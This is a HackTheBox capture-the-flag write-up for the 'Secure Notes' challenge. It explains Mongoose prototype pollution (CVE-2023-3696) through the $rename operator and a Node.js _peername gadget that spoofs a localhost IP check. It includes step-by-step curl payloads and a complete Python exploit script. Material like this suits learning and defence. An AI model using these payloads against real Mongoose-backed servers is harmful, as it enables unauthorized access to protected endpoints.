Secure Notes
HackTheBox
A Node.js note-taking application with Express, Mongoose 7.2.4, and MongoDB. The flag endpoint only responds to requests from localhost (127.0.0.1).
$ ls tags/ techniques/
Secure Notes - HackTheBox
Description
We built this note-taking app to be so simple, there can't possibly be any bugs. We even added a door to claim the flag. However, only those who knock from inside may enter!
A Node.js note-taking application with Express, Mongoose 7.2.4, and MongoDB. The flag endpoint only responds to requests from localhost (127.0.0.1).
Analysis
Application Structure
The application provides three main endpoints:
POST /create- Create a new notePOST /update- Update an existing noteGET /flag- Returns flag only if request comes from localhost
The Flag Endpoint
app.get('/flag', (req, res) => { const remoteAddress = req.connection.remoteAddress; if (remoteAddress === '127.0.0.1' || remoteAddress === '::1' || remoteAddress === '::ffff:127.0.0.1') { res.send(process.env.FLAG ?? 'HTB{f4k3_fl4g_f0r_t3st1ng}'); } else { res.status(403).json({ Message: 'Access denied' }); } });
The flag is protected by an IP check - only localhost can access it. The hint "knock from inside" suggests we need to make the server think our request comes from localhost.
The Vulnerable Update Endpoint
app.post('/update', async (req, res) => { const { noteId } = req.body; await Note.findByIdAndUpdate(noteId, req.body); // req.body passed directly! let result = await Note.find({ _id: noteId }); res.json(result); });
Critical vulnerability: The entire req.body is passed directly to findByIdAndUpdate(), allowing MongoDB operators like $rename to be injected.
Vulnerability Chain
1. CVE-2023-3696: Mongoose Prototype Pollution
Mongoose version 7.2.4 is vulnerable to Prototype Pollution via the $rename operator. When using $rename with a path like __proto__.something, Mongoose's init() function will create nested objects and pollute Object.prototype.
Key insight: MongoDB's $rename operator creates nested objects, not dotted field names. So:
$rename: {"title": "__proto__._peername.address"}
Creates:
{__proto__: {_peername: {address: "127.0.0.1"}}}
When Mongoose loads this document, init() processes the nested __proto__ object and pollutes Object.prototype._peername.
2. Node.js Internal Gadget
The req.connection.remoteAddress getter in Node.js reads from this._peername.address:
// Simplified Node.js Socket internals get remoteAddress() { return this._peername?.address; }
If _peername is not defined on the socket object itself, JavaScript's prototype chain kicks in and it inherits from Object.prototype._peername!
Attack Flow
1. Create notes with values we want to inject (127.0.0.1, IPv4, port)
2. Use $rename to move these values to __proto__._peername.*
3. Trigger Mongoose init() by reading the document
4. Object.prototype._peername is now polluted
5. All subsequent requests have remoteAddress = "127.0.0.1"
6. Access /flag endpoint - IP check passes!
Solution
Step 1: Create Notes with Target Values
Create three notes with the values needed for _peername object:
TARGET="http://target.htb" # Note with address value (127.0.0.1) curl -X POST "$TARGET/create" -H "Content-Type: application/json" \ -d '{"title":"127.0.0.1","content":"address"}' # Returns: {"_id":"ID1", "title":"127.0.0.1", "content":"address"} # Note with family value (IPv4) curl -X POST "$TARGET/create" -H "Content-Type: application/json" \ -d '{"title":"IPv4","content":"family"}' # Returns: {"_id":"ID2", "title":"IPv4", "content":"family"} # Note with port value curl -X POST "$TARGET/create" -H "Content-Type: application/json" \ -d '{"title":"12345","content":"port"}' # Returns: {"_id":"ID3", "title":"12345", "content":"port"}
Step 2: Pollute Object.prototype via $rename
Use the $rename operator to move the title field to __proto__._peername.*:
# Rename title to __proto__._peername.address curl -X POST "$TARGET/update" -H "Content-Type: application/json" \ -d '{"noteId":"ID1", "$rename": {"title": "__proto__._peername.address"}}' # Rename title to __proto__._peername.family curl -X POST "$TARGET/update" -H "Content-Type: application/json" \ -d '{"noteId":"ID2", "$rename": {"title": "__proto__._peername.family"}}' # Rename title to __proto__._peername.port curl -X POST "$TARGET/update" -H "Content-Type: application/json" \ -d '{"noteId":"ID3", "$rename": {"title": "__proto__._peername.port"}}'
Step 3: Trigger Prototype Pollution
The pollution happens when Mongoose's init() function processes the document. Trigger it by reading any of the polluted documents:
# Trigger find() to execute Mongoose init() and pollute prototype curl -X POST "$TARGET/update" -H "Content-Type: application/json" \ -d '{"noteId":"ID1", "content": "trigger"}'
Step 4: Get the Flag
Now Object.prototype._peername.address is "127.0.0.1". All socket objects without their own _peername will inherit this value:
curl "$TARGET/flag" # Returns: HTB{m0ng00s3_pr0t0typ3_p0llus10n_c0mb1n3d_w1th_1nt3rn4l_n0d3_g4dg3ts!}
Complete Exploit Script
#!/usr/bin/env python3 """ Secure Notes - HackTheBox Mongoose Prototype Pollution + Node.js Internal Gadget CVE-2023-3696: Mongoose 7.2.4 $rename prototype pollution Gadget: req.connection.remoteAddress reads from _peername.address """ import requests import sys def exploit(target): session = requests.Session() print("[*] Step 1: Creating notes with payload values...") # Create note with address value r1 = session.post(f"{target}/create", json={ "title": "127.0.0.1", "content": "address" }) id1 = r1.json()["_id"] print(f" Created note for address: {id1}") # Create note with family value r2 = session.post(f"{target}/create", json={ "title": "IPv4", "content": "family" }) id2 = r2.json()["_id"] print(f" Created note for family: {id2}") # Create note with port value r3 = session.post(f"{target}/create", json={ "title": "12345", "content": "port" }) id3 = r3.json()["_id"] print(f" Created note for port: {id3}") print("\n[*] Step 2: Polluting Object.prototype via $rename...") # Rename to __proto__._peername.address session.post(f"{target}/update", json={ "noteId": id1, "$rename": {"title": "__proto__._peername.address"} }) print(" Polluted _peername.address = 127.0.0.1") # Rename to __proto__._peername.family session.post(f"{target}/update", json={ "noteId": id2, "$rename": {"title": "__proto__._peername.family"} }) print(" Polluted _peername.family = IPv4") # Rename to __proto__._peername.port session.post(f"{target}/update", json={ "noteId": id3, "$rename": {"title": "__proto__._peername.port"} }) print(" Polluted _peername.port = 12345") print("\n[*] Step 3: Triggering Mongoose init() to activate pollution...") session.post(f"{target}/update", json={ "noteId": id1, "content": "trigger" }) print(" Prototype pollution activated!") print("\n[*] Step 4: Accessing /flag endpoint...") r = session.get(f"{target}/flag") if r.status_code == 200: print(f"\n[+] SUCCESS! Flag: {r.text}") else: print(f"\n[-] Failed: {r.status_code} - {r.text}") return r.text if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_url>") print(f"Example: {sys.argv[0]} http://localhost:3000") sys.exit(1) target = sys.argv[1].rstrip('/') exploit(target)
Technical Deep Dive
Why $rename Creates Nested Objects
MongoDB's $rename operator is designed to rename fields. When the target path contains dots, MongoDB interprets them as nested object paths:
// Original document { title: "127.0.0.1" } // After $rename: {"title": "__proto__._peername.address"} { __proto__: { _peername: { address: "127.0.0.1" } } }
Mongoose init() Pollution
When Mongoose loads a document with find(), it calls init() to hydrate the model. This function recursively processes nested objects:
// Simplified Mongoose init() behavior function init(doc) { for (let key in doc) { if (typeof doc[key] === 'object') { this[key] = {}; init.call(this[key], doc[key]); } else { this[key] = doc[key]; } } }
When key is __proto__, the assignment this[key] = {} actually modifies Object.prototype!
Node.js Socket Internals
The remoteAddress property on Node.js sockets is a getter that reads from _peername:
// From Node.js net.js Socket.prototype.__defineGetter__('remoteAddress', function() { return this._peername && this._peername.address; });
The _peername property is lazily initialized when getpeername() is called. If it's never initialized (or deleted), the prototype chain is consulted, returning our polluted value.
References
- CVE-2023-3696 - Mongoose Prototype Pollution
- MongoDB $rename Operator
- Node.js Socket Source
- Prototype Pollution Attacks
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar
Similar writeups
- [web][Pro]Personal Blog— uoftctf2026
- [web][free]Proxy— hackthebox
- [web][free]review— pingCTF
- [misc][free]Prison Pipeline— HackTheBox Business CTF 2024
- [web][free]Dusty Alleys— hackthebox